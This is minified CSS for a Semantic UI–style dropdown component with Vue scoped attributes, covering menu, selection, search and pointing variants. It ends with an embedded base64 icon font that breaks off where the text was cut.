.menu[data-v-3d374dd8]{cursor:auto;position:absolute;display:none;outline:none;top:100%;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;margin:0;padding:0;background:#fff;font-size:1em;text-shadow:none;text-align:left;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;z-index:11;will-change:transform,opacity}.ui.dropdown .menu>[data-v-3d374dd8]{white-space:nowrap}.ui.dropdown>input[data-v-3d374dd8]:not(.search):first-child,.ui.dropdown>select[data-v-3d374dd8]{display:none!important}.ui.dropdown>.dropdown.icon[data-v-3d374dd8]{position:relative;width:auto;font-size:.85714286em;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon[data-v-3d374dd8]{width:auto;float:right;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon+.text[data-v-3d374dd8]{margin-right:1em}.ui.dropdown>.text[data-v-3d374dd8]{display:inline-block;-webkit-transition:none;transition:none}.ui.dropdown .menu>.item[data-v-3d374dd8]{position:relative;cursor:pointer;display:block;border:none;height:auto;text-align:left;border-top:none;line-height:1em;color:rgba(0,0,0,.87);padding:.78571429rem 1.14285714rem!important;font-size:1rem;text-transform:none;font-weight:400;box-shadow:none;-webkit-touch-callout:none}.ui.dropdown .menu>.item[data-v-3d374dd8]:first-child{border-top-width:0}.ui.dropdown .menu .item>[class*=\"right floated\"][data-v-3d374dd8],.ui.dropdown>.text>[class*=\"right floated\"][data-v-3d374dd8]{float:right!important;margin-right:0!important;margin-left:1em!important}.ui.dropdown .menu .item>[class*=\"left floated\"][data-v-3d374dd8],.ui.dropdown>.text>[class*=\"left floated\"][data-v-3d374dd8]{float:left!important;margin-left:0!important;margin-right:1em!important}.ui.dropdown .menu .item>.flag.floated[data-v-3d374dd8],.ui.dropdown .menu .item>.icon.floated[data-v-3d374dd8],.ui.dropdown .menu .item>.image.floated[data-v-3d374dd8],.ui.dropdown .menu .item>img.floated[data-v-3d374dd8]{margin-top:0}.ui.dropdown .menu>.header[data-v-3d374dd8]{margin:1rem 0 .75rem;padding:0 1.14285714rem;color:rgba(0,0,0,.85);font-size:.78571429em;font-weight:700;text-transform:uppercase}.ui.dropdown .menu>.divider[data-v-3d374dd8]{border-top:1px solid rgba(34,36,38,.1);height:0;margin:.5em 0}.ui.dropdown .menu>.input[data-v-3d374dd8]{width:auto;display:-webkit-box;display:-ms-flexbox;display:flex;margin:1.14285714rem .78571429rem;min-width:10rem}.ui.dropdown .menu>.header+.input[data-v-3d374dd8]{margin-top:0}.ui.dropdown .menu>.input:not(.transparent) input[data-v-3d374dd8]{padding:.5em 1em}.ui.dropdown .menu>.input:not(.transparent) .button[data-v-3d374dd8],.ui.dropdown .menu>.input:not(.transparent) .icon[data-v-3d374dd8],.ui.dropdown .menu>.input:not(.transparent) .label[data-v-3d374dd8]{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description[data-v-3d374dd8],.ui.dropdown>.text>.description[data-v-3d374dd8]{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message[data-v-3d374dd8]{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message[data-v-3d374dd8]:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu[data-v-3d374dd8]{top:0!important;left:100%!important;right:auto!important;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu[data-v-3d374dd8]:after{display:none}.ui.dropdown .menu>.item>.flag[data-v-3d374dd8],.ui.dropdown .menu>.item>.icon[data-v-3d374dd8],.ui.dropdown .menu>.item>.image[data-v-3d374dd8],.ui.dropdown .menu>.item>.label[data-v-3d374dd8],.ui.dropdown .menu>.item>img[data-v-3d374dd8],.ui.dropdown>.text>.flag[data-v-3d374dd8],.ui.dropdown>.text>.icon[data-v-3d374dd8],.ui.dropdown>.text>.image[data-v-3d374dd8],.ui.dropdown>.text>.label[data-v-3d374dd8],.ui.dropdown>.text>img[data-v-3d374dd8]{margin-top:0}.ui.dropdown .menu>.item>.flag[data-v-3d374dd8],.ui.dropdown .menu>.item>.icon[data-v-3d374dd8],.ui.dropdown .menu>.item>.image[data-v-3d374dd8],.ui.dropdown .menu>.item>.label[data-v-3d374dd8],.ui.dropdown .menu>.item>img[data-v-3d374dd8],.ui.dropdown>.text>.flag[data-v-3d374dd8],.ui.dropdown>.text>.icon[data-v-3d374dd8],.ui.dropdown>.text>.image[data-v-3d374dd8],.ui.dropdown>.text>.label[data-v-3d374dd8],.ui.dropdown>.text>img[data-v-3d374dd8]{margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image[data-v-3d374dd8],.ui.dropdown .menu>.item>img[data-v-3d374dd8],.ui.dropdown>.text>.image[data-v-3d374dd8],.ui.dropdown>.text>img[data-v-3d374dd8]{display:inline-block;vertical-align:middle;width:auto;max-height:2em}.ui.dropdown .ui.menu>.item[data-v-3d374dd8]:before,.ui.menu .ui.dropdown .menu>.item[data-v-3d374dd8]:before{display:none}.ui.menu .ui.dropdown .menu .active.item[data-v-3d374dd8]{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu[data-v-3d374dd8],.ui.menu .right.dropdown.item .menu[data-v-3d374dd8],.ui.menu .right.menu .dropdown:last-child .menu[data-v-3d374dd8]{left:auto;right:0}.ui.label.dropdown .menu[data-v-3d374dd8]{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon[data-v-3d374dd8]{margin:0}.ui.button.dropdown .menu[data-v-3d374dd8]{min-width:100%}.ui.selection.dropdown[data-v-3d374dd8]{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);min-width:14em;min-height:2.7142em;background:#fff;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease}.ui.selection.dropdown.active[data-v-3d374dd8],.ui.selection.dropdown.visible[data-v-3d374dd8]{z-index:10}select.ui.dropdown[data-v-3d374dd8]{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon[data-v-3d374dd8],.ui.selection.dropdown>.dropdown.icon[data-v-3d374dd8],.ui.selection.dropdown>.search.icon[data-v-3d374dd8]{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.2142em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.78571429em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown[data-v-3d374dd8]{min-width:0}.ui.selection.dropdown .menu[data-v-3d374dd8]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;width:auto;outline:none;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu[data-v-3d374dd8]:after,.ui.selection.dropdown .menu[data-v-3d374dd8]:before{display:none}.ui.selection.dropdown .menu>.message[data-v-3d374dd8]{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu[data-v-3d374dd8]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu[data-v-3d374dd8]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu[data-v-3d374dd8]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu[data-v-3d374dd8]{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item[data-v-3d374dd8]{border-top:1px solid #fafafa;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item[data-v-3d374dd8]{display:none}.ui.selection.dropdown[data-v-3d374dd8]:hover{border-color:rgba(34,36,38,.35);box-shadow:none}.ui.selection.active.dropdown .menu[data-v-3d374dd8],.ui.selection.active.dropdown[data-v-3d374dd8]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown[data-v-3d374dd8]:focus{border-color:#96c8da;box-shadow:none}.ui.selection.dropdown:focus .menu[data-v-3d374dd8]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text[data-v-3d374dd8]:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover .menu[data-v-3d374dd8],.ui.selection.active.dropdown[data-v-3d374dd8]:hover{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon[data-v-3d374dd8],.ui.visible.selection.dropdown>.dropdown.icon[data-v-3d374dd8]{opacity:1;z-index:3}.ui.active.selection.dropdown[data-v-3d374dd8]{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown[data-v-3d374dd8]{border-radius:.28571429rem!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu[data-v-3d374dd8]{border:none!important;box-shadow:none!important}.ui.search.dropdown[data-v-3d374dd8]{min-width:''}.ui.search.dropdown>input.search[data-v-3d374dd8]{background:none transparent!important;border:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:none;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit;position:absolute;z-index:2}.ui.search.dropdown>.text[data-v-3d374dd8]{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search[data-v-3d374dd8],.ui.search.selection.dropdown>span.sizer[data-v-3d374dd8]{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em}.ui.search.selection.dropdown>span.sizer[data-v-3d374dd8]{display:none;white-space:pre}.ui.search.dropdown.active>input.search[data-v-3d374dd8],.ui.search.dropdown.visible>input.search[data-v-3d374dd8]{cursor:auto}.ui.search.dropdown.active>.text[data-v-3d374dd8],.ui.search.dropdown.visible>.text[data-v-3d374dd8]{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag[data-v-3d374dd8],.ui.active.search.dropdown input.search:focus+.text .icon[data-v-3d374dd8]{opacity:.45}.ui.active.search.dropdown input.search:focus+.text[data-v-3d374dd8]{color:hsla(0,0%,45%,.87)!important}.ui.search.dropdown .menu[data-v-3d374dd8]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu[data-v-3d374dd8]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu[data-v-3d374dd8]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu[data-v-3d374dd8]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu[data-v-3d374dd8]{max-height:21.37142857rem}}.ui.multiple.dropdown[data-v-3d374dd8]{padding:.22620476em 2.1em .22620476em .35714286em}.ui.multiple.dropdown .menu[data-v-3d374dd8]{cursor:auto}.ui.multiple.search.dropdown>input.search[data-v-3d374dd8],.ui.multiple.search.dropdown[data-v-3d374dd8]{cursor:text}.ui.multiple.dropdown>.label[data-v-3d374dd8]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;box-shadow:inset 0 0 0 1px rgba(34,36,38,.15)}.ui.multiple.dropdown .dropdown.icon[data-v-3d374dd8]{margin:'';padding:''}.ui.multiple.dropdown>.text[data-v-3d374dd8]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search[data-v-3d374dd8]{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text[data-v-3d374dd8]{display:none}.ui.multiple.search.dropdown>.text[data-v-3d374dd8]{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text[data-v-3d374dd8]{display:none}.ui.multiple.search.dropdown>input.search[data-v-3d374dd8]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown[data-v-3d374dd8]{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon[data-v-3d374dd8]{margin:0 .5em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text[data-v-3d374dd8]{font-weight:700}.ui.inline.dropdown .menu[data-v-3d374dd8]{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item[data-v-3d374dd8]{background:transparent;font-weight:700;color:rgba(0,0,0,.95);box-shadow:none;z-index:12}.ui.dropdown .menu>.item[data-v-3d374dd8]:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon[data-v-3d374dd8]{height:1em!important;padding:1.14285714em 1.07142857em!important}.ui.loading.dropdown>i.icon[data-v-3d374dd8]:before{border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon[data-v-3d374dd8]:after,.ui.loading.dropdown>i.icon[data-v-3d374dd8]:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em}.ui.loading.dropdown>i.icon[data-v-3d374dd8]:after{box-shadow:0 0 0 1px transparent;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon[data-v-3d374dd8]:after,.ui.loading.dropdown.button>i.icon[data-v-3d374dd8]:before{display:none}@-webkit-keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.ui.default.dropdown:not(.button)>.text[data-v-3d374dd8],.ui.dropdown:not(.button)>.default.text[data-v-3d374dd8]{color:hsla(0,0%,75%,.87)}.ui.default.dropdown:not(.button)>input:focus+.text[data-v-3d374dd8],.ui.dropdown:not(.button)>input:focus+.default.text[data-v-3d374dd8]{color:hsla(0,0%,45%,.87)}.ui.loading.dropdown>.text[data-v-3d374dd8]{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu[data-v-3d374dd8]{display:block;visibility:hidden;z-index:-1}.ui.dropdown .menu .selected.item[data-v-3d374dd8],.ui.dropdown.selected[data-v-3d374dd8]{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text[data-v-3d374dd8]{visibility:hidden}.ui.dropdown .filtered.item[data-v-3d374dd8]{display:none!important}.ui.dropdown.error>.default.text[data-v-3d374dd8],.ui.dropdown.error>.text[data-v-3d374dd8],.ui.dropdown.error[data-v-3d374dd8]{color:#9f3a38}.ui.selection.dropdown.error[data-v-3d374dd8]{background:#fff6f6;border-color:#e0b4b4}.ui.dropdown.error>.menu .menu[data-v-3d374dd8],.ui.dropdown.error>.menu[data-v-3d374dd8],.ui.selection.dropdown.error[data-v-3d374dd8]:hover{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-3d374dd8]{color:#9f3a38}.ui.multiple.selection.error.dropdown>.label[data-v-3d374dd8]{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-3d374dd8]:hover{background-color:#fff2f2}.ui.dropdown.error>.menu .active.item[data-v-3d374dd8]{background-color:#fdcfcf}.ui.disabled.dropdown[data-v-3d374dd8],.ui.dropdown .menu>.disabled.item[data-v-3d374dd8]{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu[data-v-3d374dd8]{left:0}.ui.dropdown .menu .right.menu[data-v-3d374dd8],.ui.dropdown .right.menu>.menu[data-v-3d374dd8]{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown .menu .left.menu[data-v-3d374dd8],.ui.dropdown>.left.menu .menu[data-v-3d374dd8]{left:auto!important;right:100%!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon[data-v-3d374dd8],.ui.dropdown .left.menu .item .dropdown.icon[data-v-3d374dd8]{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon+.text[data-v-3d374dd8],.ui.dropdown .left.menu .item .dropdown.icon+.text[data-v-3d374dd8]{margin-left:1em}.ui.upward.dropdown>.menu[data-v-3d374dd8]{top:auto;bottom:100%;box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu[data-v-3d374dd8]{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown[data-v-3d374dd8],.ui.simple.upward.dropdown[data-v-3d374dd8]:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active[data-v-3d374dd8]{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu[data-v-3d374dd8]{border-top-width:1px!important;border-bottom-width:0!important;box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown[data-v-3d374dd8]:hover{box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown[data-v-3d374dd8]{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible[data-v-3d374dd8]{box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown[data-v-3d374dd8]:hover{box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu[data-v-3d374dd8]{box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu[data-v-3d374dd8]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu[data-v-3d374dd8]{position:static;overflow-y:auto;border:none;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item[data-v-3d374dd8],.ui.scrolling.dropdown .menu .item.item.item[data-v-3d374dd8]{border-top:none;padding-right:calc(1.14285714rem + 17px)!important}.ui.dropdown .scrolling.menu .item[data-v-3d374dd8]:first-child,.ui.scrolling.dropdown .menu .item[data-v-3d374dd8]:first-child{border-top:none}.ui.dropdown>.animating.menu .scrolling.menu[data-v-3d374dd8],.ui.dropdown>.visible.menu .scrolling.menu[data-v-3d374dd8]{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{max-height:10.28571429rem}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{max-height:15.42857143rem}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{max-height:20.57142857rem}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu[data-v-3d374dd8],.ui.scrolling.dropdown .menu[data-v-3d374dd8]{max-height:20.57142857rem}}.ui.simple.dropdown .menu[data-v-3d374dd8]:after,.ui.simple.dropdown .menu[data-v-3d374dd8]:before{display:none}.ui.simple.dropdown .menu[data-v-3d374dd8]{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown[data-v-3d374dd8],.ui.simple.dropdown[data-v-3d374dd8]:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu[data-v-3d374dd8],.ui.simple.dropdown:hover>.menu[data-v-3d374dd8]{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu[data-v-3d374dd8],.ui.simple.dropdown>.menu>.item:active>.menu[data-v-3d374dd8]{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu[data-v-3d374dd8]{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu[data-v-3d374dd8]{display:block}.ui.fluid.dropdown[data-v-3d374dd8]{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon[data-v-3d374dd8]{float:right}.ui.floating.dropdown .menu[data-v-3d374dd8]{left:0;right:auto;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu[data-v-3d374dd8]{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu[data-v-3d374dd8]{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu[data-v-3d374dd8]:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;box-shadow:-1px -1px 0 1px rgba(34,36,38,.15);background:#fff;z-index:2;top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu[data-v-3d374dd8]{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu[data-v-3d374dd8]{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.right.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:-.25em;left:auto;right:1em;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu[data-v-3d374dd8]{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.right.pointing.dropdown>.menu[data-v-3d374dd8]{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu[data-v-3d374dd8]{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu[data-v-3d374dd8]{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu[data-v-3d374dd8]{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu[data-v-3d374dd8]:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-3d374dd8]{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-3d374dd8]:after{left:auto;right:1em}.ui.upward.pointing.dropdown>.menu[data-v-3d374dd8],.ui.upward.top.pointing.dropdown>.menu[data-v-3d374dd8]{top:auto;bottom:100%;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.upward.pointing.dropdown>.menu[data-v-3d374dd8]:after,.ui.upward.top.pointing.dropdown>.menu[data-v-3d374dd8]:after{top:100%;bottom:auto;box-shadow:1px 1px 0 1px rgba(34,36,38,.15);margin:-.25em 0 0}@font-face{font-family:Dropdown;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWAGUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAHQAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMA